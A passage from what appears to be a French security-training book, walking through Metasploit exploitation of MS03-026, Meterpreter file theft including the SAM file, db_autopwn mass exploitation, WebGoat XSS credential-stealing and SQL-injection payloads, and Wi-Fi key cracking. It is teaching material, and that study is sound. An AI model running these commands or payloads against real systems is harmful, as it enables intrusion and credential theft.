Windows Execute Command
win32_passivex
Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter Windows PassiveX ActiveX Inject
Meterpreter
win32_passivex_stg
Windows Staged PassiveX Shell
win32_passivex_vncinject Windows PassiveX ActiveX VNC Server
Payload
win32_reverse
Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_ord
Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server
Inject
win32_reverse_stg
Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject
framework2 #
Nous allons utiliser un bind shell (win32_bind) et choisir la cible (T) :
framework2# ./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14
PAYLOAD=win32_bind T
Supported Exploit Targets
=========================
0 Windows NT SP3-6a/2K/XP/2K3 English ALL
framework2 #
Nous pouvons maintenant lancer lexploit ainsi cr.
framework2#./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14
PAYLOAD=win32_bind E
[*] Starting Bind Handler.
[*] Sending request...
[*] Got connection from 192.168.9.100:36687 <-> 192.168.9.14:4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Nous obtenons un shell Windows de la machine distante.
b. Metasploit Console (MSFCONSOLE)
Nous allons refaire la mme chose mais avec msfconsole :
framework2 # ./msfconsole
+ -- --=[ msfconsole v2.7 [157 exploits - 76 payloads]
msf > help
Metasploit Framework Main Console Help
? Show the main console help
cd Change working directory
exit Exit the console
help Show the main console help
info Display detailed exploit or payload information
quit
Exit the console
reload Reload exploits and payloads
save Save configuration to disk
setg Set a global environment variable
show Show available exploits and payloads
unsetg Remove a global environment variable
use
version
Select an exploit by name
Show console version
msf > show exploits
msf > use msrpc_dcom_ms03_026
msf msrpc_dcom_ms03_026 > set RHOST 192.168.9.14
RHOST -> 192.168.9.14
msf msrpc_dcom_ms03_026 > set LHOST 192.168.9.100
LHOST -> 192.168.9.100
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf msrpc_dcom_ms03_026(win32_reverse) > show TARGETS
Supported Exploit Targets
=========================
0 Windows NT SP3-6a/2K/XP/2K3 English ALL
msf msrpc_dcom_ms03_026(win32_reverse) > set TARGET 0
TARGET -> 0
msf msrpc_dcom_ms03_026(win32_reverse) > exploit
[*] Starting Reverse Handler.
[*] Sending request...
[*] Got connection from 192.168.9.100:4321 <-> 192.168.9.14:1031
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
c. Metasploit Web Interface (MSFWEB)
MSFWEB lance un serveur sur le port 55555, IP 127.0.0.1.
Si nous nous connectons sur ce port avec un navigateur web, nous obtenons linterface
graphique de Metasploit.
Essayons dexploiter un vnc_reverse sur la mme machine que prcdemment.
framework2 # ./msfweb
+----=[ Metasploit Framework Web Interface (127.0.0.1:55555)


Cette version peut sembler un peu vieillotte mais peut encore nous aider dans certains cas.
Nous retrouvons trois liens : EXPLOITS, PAYLOADS et SESSIONS.
SESSIONS ne nous servira que lorsquun exploit aura fonctionn pour accder la machine
victime.
Nous avons la possibilit de filtrer la recherche par service par exemple (FTP, HTTP...) ou par
OS (Operating System).

Une fois que nous avons slectionn lexploit que nous voulons utiliser, une nouvelle fentre
apparat qui va nous permettre dentrer les informations ncessaires, comme ladresse IP de la
victime, le port de la victime, notre adresse IP...
Bien sr, les informations fournir diffrent suivant lexploit selectionn.

Quand lexploit est lanc, et sil russit, nous avons comme dans lexemple ci-dessus une
information [*] Shell started on session 1 .
Une fentre VNC apparat alors si lexploit a fonctionn.

d. Meterpreter Payload
Meterpreter est un payload multifonction avanc qui va nous fournir un shell basique partir
duquel nous pourrons ajouter les fonctions dsires pour notre exploit.
Meterpreter est un payload car il permet davoir un shell particulier qui va vous permettre de
nenvoyer que la partie utile de vos messages (commandes) sans encapsulation des en-ttes du
protocole TCP/IP par exemple.
Meterpreter est trs pratique parce quil nous proposera un shell meterpreter qui va nous
permettre bien plus dactions quun payload classique. Nous pourrons lancer partir du shell
meterpreter un shell bash, dposer ou tlcharger des fichiers, des excutables, faire des
dumps mmoire
msf > use msrpc_dcom_ms03_026
msf msrpc_dcom_ms03_026 > show payloads
Metasploit Framework Usable Payloads
====================================
win32_adduser
win32_bind
win32_bind_dllinject
win32_bind_meterpreter
win32_bind_stg
win32_bind_stg_upexec
win32_bind_vncinject
win32_downloadexec
Windows Execute net user /ADD
Windows Bind Shell
Windows Bind DLL Inject
Windows Bind Meterpreter DLL Inject
Windows Staged Bind Shell
Windows Staged Bind Upload/Execute
Windows Bind VNC Server DLL Inject
Windows Executable Download and Executewin32_exec
Windows Execute Command
win32_passivex
Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter
win32_passivex_stg
Windows Staged PassiveX Shell
win32_passivex_vncinject
win32_reverse
Windows PassiveX ActiveX Inject Meterpreter Payload
Windows PassiveX ActiveX Inject VNC Server Payload
Windows Reverse Shell
win32_reverse_dllinject
Windows Reverse DLL Inject
win32_reverse_meterpreter
win32_reverse_ord
Windows Reverse Meterpreter DLL Inject
Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server
Inject
win32_reverse_stg
Windows Staged Reverse Shell
win32_reverse_stg_upexec
win32_reverse_vncinject
Windows Staged Reverse Upload/Execute
Windows Reverse VNC Server Inject
msf msrpc_dcom_ms03_026(in32_bind_meterpreter) > set PAYLOAD
win32_bind_meterpreter
PAYLOAD -> win32_bind_meterpreter
msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > set RHOST
192.168.9.14
RHOST -> 192.168.9.14
msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > exploit
[*] Starting Reverse Handler.
[*] Sending request...
[*] Got connection from 192.168.9.100:4321 <-> 192.168.9.14:1031
meterpreter>
Nous obtenons un shell meterpreter.
Il faut maintenant charger le systme de fichiers et des librairies dans meterpreter.
meterpreter> use -m Process
loadlib: Loading library from ext180401.dll on the remote
machine.
Meterpreter>
loadlib: success.
meterpreter> use -m Fs
loadlib: Loading library from ext290706.dll on the remote
machine.
meterpreter>
loadlib: success.
meterpreter> help
Nous pouvons maintenant envoyer ou tlcharger des fichiers, excuter des commandes shell,
grer les processus en interactivit avec eux...
meterpreter> upload /home/fasm/windows-binaries/tools/nc.exe
c:\windows
upload: Starting upload of /home/fasm/windows-
binaries/tools/nc.exe to c:\windows\nc.exe.
upload: 1 uploads started.
meterpreter>
upload: Upload from /home/fasm/windows-binaries/tools/nc.exe
succeeded.
meterpreter> download c:\windows\repair\sam /tmp
download: Starting download from c:\windows\repair\sam to
/tmp/sam...
download: 1 downloads started.
meterpreter>
download: Download to /tmp/sam succeeded.
meterpreter>
meterpreter> ps
meterpreter>
Process list:
Pid
Name Path
----- ------------ ----------
00360 smss.exe \SystemRoot\System32\smss.exe
00528 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
00556 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
00604 services.exe C:\WINDOWS\system32\services.exe
00616
lsass.exe C:\WINDOWS\system32\lsass.exe
00864 svchost.exe C:\WINDOWS\system32\svchost.exe
01008 svchost.exe C:\WINDOWS\System32\svchost.exe
01084 svchost.exe C:\WINDOWS\System32\svchost.exe
01156 svchost.exe C:\WINDOWS\System32\svchost.exe
01360 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
01588 VMwareService.exe C:\Program Files\VMware\VMware
Tools\VMwareService.exe
01172 Explorer.EXE C:\WINDOWS\Explorer.EXE
01048 VMwareTray.exe C:\Program Files\VMware\VMware
Tools\VMwareTray.exe
01292 VMwareUser.exe
C:\Program Files\VMware\VMware Tools\VMwareUser.exe
01776 cmd.exe C:\WINDOWS\System32\cmd.exe
01168 logon.scr C:\WINDOWS\System32\logon.scr
17 processes.
Meterpreter>
meterpreter> execute -H -f cmd -c
execute: Executing cmd...
meterpreter>
execute: success, process id is 492.
execute: allocated channel 6 for new process.
meterpreter> interact 6
interact: Switching to interactive console on 6...
meterpreter>
interact: Started interactive channel 6.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>exit
exit
interact: Ending interactive session.
Meterpreter>
e. Framework 3
Le framework 3 a t compltement rcrit en Ruby. La philosophie est la mme que pour le
framework 2.
Les frameworks 2 et 3 sont inclus par dfaut dans la BackTrack. Tout ce que nous avons vu
avant est donc valable pour cette version.
Modules auxiliaires
Le framework 3 a intgr des modules auxiliaires trs utiles comme UDP discovery sweeps
et SMB host identification features.
framework3 # ./msfconsole
=[ msf v3.0-beta-dev
+ -- --=[ 132 exploits - 99 payloads
+ -- --=[ 17 encoders - 4 nops
=[ 27 aux
msf > show
msf > use scanner/discovery/sweep_udp
msf auxiliary(sweep_udp) > set RHOSTS 172.16.2.1/24
RHOSTS => 172.16.2.1/24
msf auxiliary(sweep_udp) > run
[*] Sending 6 probes to 172.16.2.0->172.16.2.255 (256 hosts)
[*] Discovered NetBIOS on 172.16.2.203 ()
[*] Discovered NetBIOS on 172.16.2.204 ()
[*] Discovered NetBIOS on 172.16.2.202 ()
[*] Discovered NetBIOS on 172.16.2.201 ()
[*] Discovered SQL Server on 172.16.2.201
(tcp=1433np=\\BA8C9725C4334BF\pipe\sql\query Version=8.00.194
ServerName=BA8C9725C4334BF
IsClustered=No InstanceName=MSSQLSERVER )
[*] Auxiliary module execution completed
msf auxiliary(sweep_udp) > use scanner/smb/version
msf auxiliary(version) > set RHOSTS 172.16.2.201-172.16.2.204
RHOSTS => 172.16.2.201-172.16.2.204
msf auxiliary(version) > run
[*] 172.16.2.201 is running Windows 2000 Service Pack 0 - Service
Pack 4
[*] 172.16.2.202 is running Windows XP Service Pack 0 / Service
Pack 1
[*] 172.16.2.203 is running Windows XP Service Pack 0 / Service
Pack 1
[*] 172.16.2.204 is running Windows XP Service Pack 0 / Service
Pack 1
[*] Auxiliary module execution completed
msf auxiliary(version) > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > set RHOSTS 172.16.2.201
RHOSTS => 172.16.2.201
msf auxiliary(mssql_ping) > run
[*] SQL Server information for 172.16.2.201:
[*] tcp = 1433
[*] np = \\BA8C9725C4334BF\pipe\sql\query
[*] Version
= 8.00.194
[*] ServerName
[*] IsClustered
[*] InstanceName
= BA8C9725C4334BF
= No
= MSSQLSERVER
[*] Auxiliary module execution completed
msf auxiliary(mssql_ping) > use scanner/mssql/mssql_login
msf auxiliary(mssql_login) > set RHOSTS 172.16.2.201
RHOSTS => 172.16.2.201
msf auxiliary(mssql_login) > run
[*] Target 172.16.2.201 does have a null sa account...
[*] Auxiliary module execution completed
db_autopwn
Le module db_autopwn peut tre utilis pour le port scanning et la connexion aux ordinateurs
en utilisant Nmap (db_nmap), tous les rsultats sont entrs dans une base de donnes
Postgres.
Suivant les ports ouverts dcouverts par le scan, Metasploit excute automatiquement des
exploits contre ces machines.
db_autopwn nest plus gr par Metasploit mais il est toujours possible de lutiliser.
Il nous faudra rcuprer db_autopwn.rb sur Internet :
https://github.com/jeffbryner/kinectasploit/blob/master/db_autopwn.rb
Nous sauvegarderons ce programme dans /pentest/exploits/framework/plugins/db_autopwn.rb
:
root@bt:~# su postgres
sh-4.1$ psql
could not change directory to "/root"
psql (8.4.8)
Type "help" for help.
postgres=# create user test with password test;
CREATE ROLE
postgres=# create database cdaisi_db;
CREATE DATABASE
postgres=#
msfconsole
db_connect test:test@127.0.0.1/cdaisi_db
db_nmap 213.136.96.12
load db_autopwn
db_autopwn -t -p -e -s -b
framework3 # ./start-db_autopwn
The files belonging to this database system will be owned by user
"postgres".
This user must also own the server process.
The database cluster will be initialized with locale C.
creating directory /home/postgres/metasploit3 ... ok
creating directory /home/postgres/metasploit3/global ... ok
...
initializing dependencies ... ok
creating system views ... ok
loading pg_description ... ok
creating conversions ... ok
setting privileges on built-in objects ... ok
creating information schema ... ok
vacuuming database template1 ... ok
copying template1 to template0 ... ok
copying template1 to postgres ... ok
WARNING: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the -A option
the next time you run initdb.
Success. You can now start the database server using:
postmaster -D /home/postgres/metasploit3
or pg_ctl -D /home/postgres/metasploit3 -l logfile start
postmaster starting
[**************************************************************]
[*] Postgres should be setup now. To run db_autopwn, please:
[*] # su - postgres[*] # cd /home/fasm/framework3
{*] # ./msfconsole
[*] msf> load db_postgres
[**************************************************************]
BT framework3 # LOG: database system was shut down at 2006-12-10
06:53:28 GMT
LOG: checkpoint record is at 0/33A6AC
LOG: redo record is at 0/33A6AC; undo record is at 0/0; shutdown
TRUE
LOG: next transaction ID: 565; next OID: 10794
LOG: next MultiXactId: 1; next MultiXactOffset: 0
LOG: database system is ready
LOG: transaction ID wrap limit is 2147484146, limited by database
"postgres"
BT framework3 # su - postgres
/dev/pts/0: Operation not permitted
BT ~ $ cd /home/fasm/framework3
BT framework3 $ ./msfconsole
____________
< metasploit >
------------
=[ msf v3.0-beta-dev
+ -- --=[ 131 exploits - 99 payloads
+ -- --=[ 17 encoders - 4 nops
=[ 27 aux
msf > load db_postgres
[*] Successfully loaded plugin: db_postgres
msf > db_create
ERROR: database "metasploit3" does not exist
dropdb: database removal failed: ERROR: database "metasploit3"
does not exist
LOG: transaction ID wrap limit is 2147484146, limited by database
"postgres"
CREATE DATABASE
ERROR: table "hosts" does not exist
ERROR: table "hosts" does not exist
NOTICE: CREATE TABLE will create sequence "hosts_id_seq" for
serial column
"hosts.id"NOTICE: CREATE TABLE / PRIMARY KEY will create implicit
index "refs_pkey" for table "refs"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"refs_pkey" for table "refs"
ERROR: table "vulns_refs" does not exist
ERROR: table "vulns_refs" does not exist
msf > db_hosts
msf > db_nmap-p 445 172.16.2.*
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-12-10
06:56 GMT
Interesting ports on 172.16.2.1:
PORT STATE SERVICE
445/tcp closed microsoft-ds
Nmap finished: 256 IP addresses (1 host up) scanned in 15.476
seconds
msf > db_Nmap-p 445 172.16.2.*
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-12-10
06:57 GMT
Interesting ports on 172.16.2.1:
PORT STATE SERVICE
445/tcp closed microsoft-ds
Interesting ports on 172.16.2.202:
PORT STATE SERVICE
445/tcp open microsoft-ds
Interesting ports on 172.16.2.203:
PORT STATE SERVICE
445/tcp open microsoft-ds
Interesting ports on 172.16.2.206:
PORT STATE SERVICE
445/tcp open microsoft-ds
Nmap finished: 256 IP addresses (4 hosts up) scanned in 15.323
seconds
msf > db_hosts
[*] Host: 172.16.2.202
[*] Host: 172.16.2.203
[*] Host: 172.16.2.206
msf > db_autopwn -p -e -r
[*] Launching auxiliary/dos/windows/smb/ms05_047_pnp (1/42)
against 172.16.2.206:445...
[*] Launching exploit/windows/smb/ms06_066_nwwks (2/42) against
172.16.2.203:445...
[*] Started reverse handler
[*] Launching exploit/windows/smb/ms06_040_netapi (3/42) against
172.16.2.202:445...[*] Connecting to the SMB service...
[*] Started reverse handler
[*] Launching exploit/windows/smb/ms03_049_netapi (5/42) against
172.16.2.203:445...
[*] Connecting to the SMB service...
[*] Launching exploit/windows/smb/ms05_039_pnp (10/42) against
172.16.2.206:445...
[*] Bound to 3919286a-b10c-11d0-9ba8-
00c04fd92ef5:0.0@ncacn_np:172.16.2.202[\lsarpc]...
[*] Getting OS information...
[*] Command shell session 2 opened (172.16.2.1:8368 ->
172.16.2.202:1059)
[*] Trying to exploit Windows 5.1
[*] Command shell session 3 opened (172.16.2.1:22349 ->
172.16.2.206:1041)
msf > sessions -l
Active sessions
===============
Id Description Tunnel
-- -----------
------
1 Command shell 172.16.2.1:23443 -> 172.16.2.202:1058
2 Command shell 172.16.2.1:12927 -> 172.16.2.203:1099
3 Command shell 172.16.2.1:37995 -> 172.16.2.206:1040
msf > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
f. Fasttrack
Fasttrack permet dautomatiser mme db_autopwn, nous pourrons donc le tester.
Pour cela, il faut faire aussi une petite modification avant que ce dernier ne fonctionne.
Allons dans le rpertoire /pentest/exploits/fasttrack/bin/ftsrc et ouvrons le fichier autopwn.py :

Nous pouvons ajouter la ligne en face du curseur (carr blanc) et ensuite enregistrer le fichier.
Nous pouvons maintenant utiliser db_autopwn et fasttrack.
Si nous lanons fasttrack simplement, nous obtenons cela :
------------------------------------------------
Fast-Track v3.0 - Where speed really does matter...
Automated Penetration Testing
Written by David Kennedy (ReL1K)
SecureState, LLC
http://www.securestate.com
dkennedy@securestate.com
Please read the README and LICENSE before using
this tool for acceptable use and modifications.
-------------------------------------------------
Modes:
Interactive Menu Driven Mode: -i
Command Line Mode: -c
Web GUI Mode -g
Examples: ./fast-track.py -i
./fast-track.py -c
./fast-track.py -g
./fast-track.py -g <portnum>
Usage: ./fast-track.py <mode>
Nous lancerons donc ./fasttrack -i
Il ne nous reste plus qu suivre les indications pour excuter autopwn.
WebGoat
1. Prsentation
Dans la section prcdente, nous avons utilis une plate-forme dentranement disponible sous
forme dune machine virtuelle complte. Il peut tre intressant dinstaller une plate-forme
dentranement destine la dcouverte de failles web uniquement, mais trs complte dans
ce domaine. LOWASP (Open Web Application Security Project) met disposition une
application Java nomme WebGoat, trs intressante. Le fichier installer se prsente sous la
forme dune archive WAR (Web Application Archive). Il ncessite linstallation dun serveur
Tomcat et le rglage de quelques paramtres dans les fichiers de configuration. Nous allons
raliser cette installation pas pas dans la section suivante.
2. Installation de WebGoat
Dans un premier temps il faut rcuprer larchive WAR que lon trouve ladresse suivante :
https://code.google.com/p/webgoat/downloads/list
Ensuite, il nous faut crer un conteneur Debian6. Nous pouvons utiliser la machine WEB2
cre au premier chapitre ou en crer une nouvelle trs facilement grce au conteneur de
Proxmox.
Une fois que nous sommes dans une console du conteneur, nous allons installer un serveur
Tomcat et une machine virtuelle Java pour faire tourner celui-ci (JRE - Java Runtime
Environment). Mais dans les dpts principaux de Debian, nous ne trouvons que OpenJDK, il
faut donc modifier le fichier sources.list pour ajouter les branches contrib et non-free. Voici le
nouveau contenu de notre fichier /etc/apt/sources.list :
deb http://ftp.debian.org/debian squeeze main contrib non-free
deb http://ftp.debian.org/debian squeeze-updates main contrib non-free
deb http://security.debian.org squeeze/updates main contrib
Il faut ensuite actualiser le cache des dpts puis faire une recherche dun JRE pour voir si
celui de Sun est bien prsent :
root@WEB2:/# aptitude update
Get:1 http://security.debian.org squeeze/updates Release.gpg [836 B]
Ign http://security.debian.org/ squeeze/updates/contrib
Translation-en
Ign http://security.debian.org/ squeeze/updates/main Translation-en
Get:2 http://ftp.debian.org squeeze Release.gpg [1672 B]
Ign http://ftp.debian.org/debian/ squeeze/contrib Translation-en
Ign http://ftp.debian.org/debian/ squeeze/main Translation-en
Ign http://ftp.debian.org/debian/ squeeze/non-free Translation-en

root@WEB2:/# aptitude search jre
p default-jre -
Standard Java or Java compatible Runtime
p default-jre-headless -
Standard Java or Java compatible Runtime (headless)
p docbook-jrefentry -
DocBook XML JRefEntry DTD
p gcj-4.4-jre -
Java runtime environment using GIJ/classpath
p gcj-4.4-jre-headless -
Java runtime environment using GIJ/classpath (headless version)
p gcj-4.4-jre-lib -
Java runtime library for use with gcj (jar files)
p gcj-jre -
Java runtime environment using GIJ/classpath
p gcj-jre-headless -
Java runtime environment using GIJ/classpath (headless version)
p icedtea-6-jre-cacao -
Alternative JVM for OpenJDK, using Cacao
v icedtea6-jre-cacao -
p libjrexx-java -
automaton based regular expression API for java
p openjdk-6-jre -
OpenJDK Java runtime, using Hotspot JIT
p openjdk-6-jre-headless -
OpenJDK Java runtime, using Hotspot JIT (headless)
p openjdk-6-jre-lib -
OpenJDK Java runtime (architecture independent libraries)
v openjdk-6-jre-shark -
p openjdk-6-jre-zero -
Alternative JVM for OpenJDK, using Zero/Shark
p sun-java6-jre
Nous voyons que le JRE de Sun est prsent. Installons-le :
root@WEB2:/# aptitude install sun-java6-jre
Lors de cette installation, nous devons accepter les termes de la licence, le logiciel ntant pas
libre.
Puis nous installons le serveur Tomcat :
root@WEB2:/# aptitude install tomcat6
The following NEW packages will be installed:
authbind{a} libcommons-collections3-java{a} libcommons-dbcp-
java{a} libcommons-pool-java{a} libecj-java{a} libservlet2.5-
java{a}
libtomcat6-java{a} tomcat6 tomcat6-common{a}
0 packages upgraded, 9 newly installed, 0 to remove and 22 not
upgraded.
Need to get 5472 kB of archives. After unpacking 6911 kB will be
used.
Do you want to continue? [Y/n/?]
Get:1 http://ftp.debian.org/debian/ squeeze/main authbind i386
1.2.0 [16.6 kB]
Get:2 http://ftp.debian.org/debian/ squeeze/main libcommons-
collections3-java all 3.2.1-4 [601 kB]
Get:3 http://ftp.debian.org/deb....
et stoppons le service :
root@WEB2:/# /etc/init.d/tomcat6 stop
Stopping Tomcat servlet engine: tomcat6.
root@WEB2:/#
Nous avons indiqu ladresse o rcuprer le fichier WAR de WebGoat, mais comment
tlcharger celui-ci dans notre conteneur ? Nous sommes dans une console en ligne de
commande ; un petit navigateur mode texte peut tre trs utile. Commenons par installer
lynx, puis lanons-le avec ladresse des fichiers de Webgoat :
root@WEB2:~# aptitude install lynx
root@WEB2:~# lynx https://code.google.com/p/webgoat/downloads/list
Nous sommes face lcran suivant et pouvons naviguer laide des flches du clavier. Nous
nous rendons sur le fichier WAR et pressons la touche [Entre].

Lynx nous propose alors de le tlcharger en bas de la page. Attention, aprs le
tlchargement, le fichier nest pas encore enregistr sur le disque et il faudra indiquer Lynx
de faire cette opration.
Ce fichier doit tre copi dans le dossier /var/lib/tomcat6/webapps/ et renomm en
webgoat.war.
cp WebGoat-5.4.war /var/lib/tomcat6/webapps/webgoat.war
Il ne reste plus qua rgler les utilisateurs dans le fichier /etc/tomacat6/tomcat-users.xml du
Tomcat. Voici ce quil doit contenir :
<?xml version=1.0 encoding=utf-8?>
<tomcat-users>
<role rolename="webgoat_basic"/>
<role rolename="webgoat_admin"/>
<role rolename="webgoat_user"/>
<role rolename="tomcat"/>
<user password="webgoat" roles="webgoat_admin"
username="webgoat"/>
<user password="basic" roles="webgoat_user,webgoat_basic"
username="basic"/>
<user password="tomcat" roles="tomcat" username="tomcat"/>
<user password="guest" roles="webgoat_user" username="guest"/>
</tomcat-users>
Tout est prt. Nous lanons le serveur.
root@WEB2:~# /etc/init.d/tomcat6 start
Ladresse o se trouve WebGoat est http://votreip/webgoat/attack. Une identification est
demande. Le nom dutilisateur est webgoat ainsi que son mot de passe. Une fois celle-ci
faite, nous sommes face lcran suivant :

Linstallation est termine, nous pouvons passer lutilisation avec quelques exemples.

Si vous rencontrez des problmes, nous vous invitons lire le fichier README-5.4.txt ainsi
qu consulter la foire aux questions dans le wiki.
3. Utilisation de WebGoat
Lentranement peut commencer en cliquant sur Start WebGoat en bas de la page. Un menu
latral prsente alors une grande quantit de leons. Voyons comment en solutionner
quelques-unes.
Commenons par la toute premire pour nous familiariser avec WebGoat. Nous allons dans le
menu General puis Http Basics.

On nous indique quil faut utiliser WebScarab pour intercepter la requte. Le plus simple est
de raliser ces preuves depuis une distribution BackTrack. Nous disposerons ainsi de tous les
outils prinstalls. Lanons WebScarab depuis notre BackTrack. Il se trouve dans le dossier
web du dossier pentest :
root@bt:~# cd /pentest/web/
root@bt:/pentest/web# ls
asp-auditor dirbuster htexploit plecost uniscan
websecurify
backdoors dotdotpwn joomscan powerfuzzer untidy
webslayer
beef dpscan mantra proxystrike vega
wfuzz
blindelephant fimap mopest scanners w3af
wpscan
burpsuite golismero nikto skipfish waffit
xsser
darkmysqli grabber owasp-zap sslstrip wapiti
xssfuzz
dirb grendel-scan padbuster sslyze webscarab
root@bt:/pentest/web# cd webscarab/
root@bt:/pentest/web/webscarab# ls
readme.txt webscarab-one-20110329-1330.jar
root@bt:/pentest/web/webscarab# java -jar webscarab-one-20110329-
1330.jar
No plugins found!
Using WebScarab.whitelistRegex pattern : null. Will not save any
data for requests not matching this pattern
Help set not found
04:40:39 main(Proxy.parseListenerConfig): No proxies configured!?
04:40:39 main(SSLSocketFactoryFactory.<init>): Generating CA key
04:40:41 Listener-127.0.0.1:8008(Listener.listen): Proxy listening
on 127.0.0.1:8008
Comme cest un fichier jar, nous le dmarrons avec la commande java -jar. Nous sommes
alors devant WebScarab.

Pour rediriger le flux de communication entre le navigateur et le serveur, il faut rgler le
proxy du navigateur pour quil coute sur la boucle locale sur le port 8008.

Ce rglage se trouve, dans Firefox, dans le menu Preferences, panneau Advanced (avanc),
onglet Network (rseau) et Settings (paramtres).
Nous cliquons ensuite sur le bouton GO du formulaire et interceptons les donnes avec
WebScarab. Nous constatons en visualisant un POST quil existe dans len-tte un cookie et
une authentification Basic.

Il nous faut modifier ces lments et rejouer le POST pour valider lpreuve. Un message
saffiche nous indiquant que nous venons de valider lpreuve.

Passons une autre leon. Nous ne sommes pas obligs de les aborder dans lordre et pouvons
nous entraner sur un sujet particulier que nous voulons traiter. Prenons par exemple les failles
XSS (Cross-Site-Scripting) et choisissons la premire leon de cette branche : Phishing with
XSS.

Ici, on nous demande dinsrer du HTML et JavaScript dans les donnes du POST et de les
envoyer ladresse indique. Si nous ne comprenons pas ce quil faut faire, ou narrivons
trouver la solution, nous disposons des corrections. Pour y accder, il faut cliquer sur Solution
Videos puis choisir lpreuve que nous sommes en train de faire. Nous pouvons visualiser les
solutions sous forme de vidos Flash et mme les tlcharger au format swf.
Dans notre cas, nous voyons le code quil fallait injecter dans le formulaire sur lextrait de
vido ci-aprs.

Nous choisissons dinsrer un code similaire dans notre formulaire afin de bien comprendre le
mcanisme :
du texte
<b>bla bla</b>
<br><br>
Nom : <br> <input type="test" name="nom"><br>
Mot de passe :<br> <input type="password" name="pass"><br>
<input type="submit" value="Login" onclick="var xssImg=new
Image();xssImg.src=http://192.168.2.36:8080/webgoat/catcher
?PROPERTY=yes&u=+this.form.name.value+&p=+this.form.pass.value;"
du texte
Nous visualisons bien notre formulaire en bas de la page, comme le montrait la correction.
Nous validons un nom dutilisateur et un mot de passe quelconque. Voici ce qui se passe :

Lpreuve est rsolue.
Nous allons prendre un dernier exemple mettant en uvre une injection SQL. Nous
slectionnons dans le menu la leon Injection Flaws - Numeric SQL Injection. Voici
lcran que nous avons en face de nous :

Sur cette preuve, on nous demande de raliser une injection. La tche est facilite car on
nous donne la requte qui est envoye au serveur. Nous connaissons donc dj le nom des
tables.
Il faut dans un premier temps pouvoir entrer ce que nous souhaitons dans le champ prsent
sous la forme dune liste droulante. Nous pourrions encore utiliser WebScarab, mais
utilisons une solution moins lourde et plus simple de mise en uvre. La barre Web
Developer va pouvoir nous aider, mais il existe beaucoup dautres possibilits. Nous
transformons le champ de type select en un champ de type text laide du menu Forms.

Lobjectif tant de lire tous les enregistrements de la table, nous allons tenter une injection
avec un union. Essayons ceci dans le champ station :
101 union select * from weather_data#
Nous constatons que nous dclenchons une erreur de traitement. La fin de la requte est
probablement mal forme. Changeons le caractre qui passe le reste de la requte en
commentaire :
101 union select * from weather_data;--
Cette fois-ci, nous validons lpreuve.

Nous nirons pas plus loin concernant WebGoat, vous avez tout ce quil vous faut pour vous
entraner, cest vous de jouer prsent.
Conclusion
Dans ce chapitre nous vous avons prsent quelques plates-formes dentranement. Il en existe
de nombreuses ainsi que des challenges en ligne. Mais rien ne vaut des machines relles ou au
moins virtuelles pour tester rellement les failles de scurit sur des systmes dinformation.
Nanmoins, ces entranements nous apprennent utiliser des outils, tablir des schmas
dattaques, concevoir des scripts, etc. Il est donc trs important de sinitier sur ce type de
solutions dexercices sans risque.
Le matriel indispensable
Introduction
Notre laboratoire logiciel est termin, mais le hacking nest pas que logiciel, et
heureusement. Le hardware prend une part de plus en plus importante dans la scurit
informatique.
Cest pourquoi, si nous voulons un laboratoire complet, il nous faudra investir dans du
matriel.
Dans la suite, nous allons donc vous fournir une liste non exhaustive du matriel ncessaire.
Wi-Fi
1. Kit en vente en Chine


Des kits sont vendus en Chine afin de cracker les cls WEP (Wired Equivalent Privacy) et
de deviner les mots de passe WPA (Wi-Fi Protected Access) des rseaux Wi-Fi.
En effet, au moment de lcriture de ce livre, nous ne craquons pas de cl WPA mais nous
utilisons une technique qui se nomme le brute force par dictionnaire qui consiste lire
laide dun script un fichier contenant une liste de mots usuels (dictionnaire), que nous testons
un un pour tenter une connexion.
BackTrack fournit tous les logiciels ncessaires tels que aircrack ou cowpatty pour le WPA
et la distribution offre aussi de nombreux dictionnaires. Ladaptateur Wi-Fi sur cl USB est
identique la cl Wi-Fi Alfa USB que nous verrons plus tard. La documentation ncessaire se
trouve aisment sur Internet.
Ce kit a le mrite de nous fournir tout le matriel ncessaire dj assembl, ce qui nous fait
gagner beaucoup de temps.
Le kit est un assemblage de matriels et de logiciels grand public, il comprend un systme
dexploitation Linux dans lequel a t intgr un logiciel de cassage de cls WEP/WPA, une
cl USB adaptateur Wi-Fi, le tout agrment dun manuel dutilisation et ce, pour un prix trs
modique.
La cl WEP est maintenant dmode et son inscurit a t maintes fois dmontre. Mais il
faut savoir que beaucoup de personnes, par habitude ou inexprimentation, ont laiss leur
accs en WEP. Pour sen convaincre, il suffit de faire un peu de wardriving ou de walkdriving
dans une ville afin de reprer les points daccs. Cela se fait aisment avec le logiciel kismet
sous Linux (donc BackTrack). Nous nous apercevrons vite que nous trouverons bien sr
beaucoup de points daccs en WPA, WPA2 mais aussi en WEP, et des points daccs ouverts
!

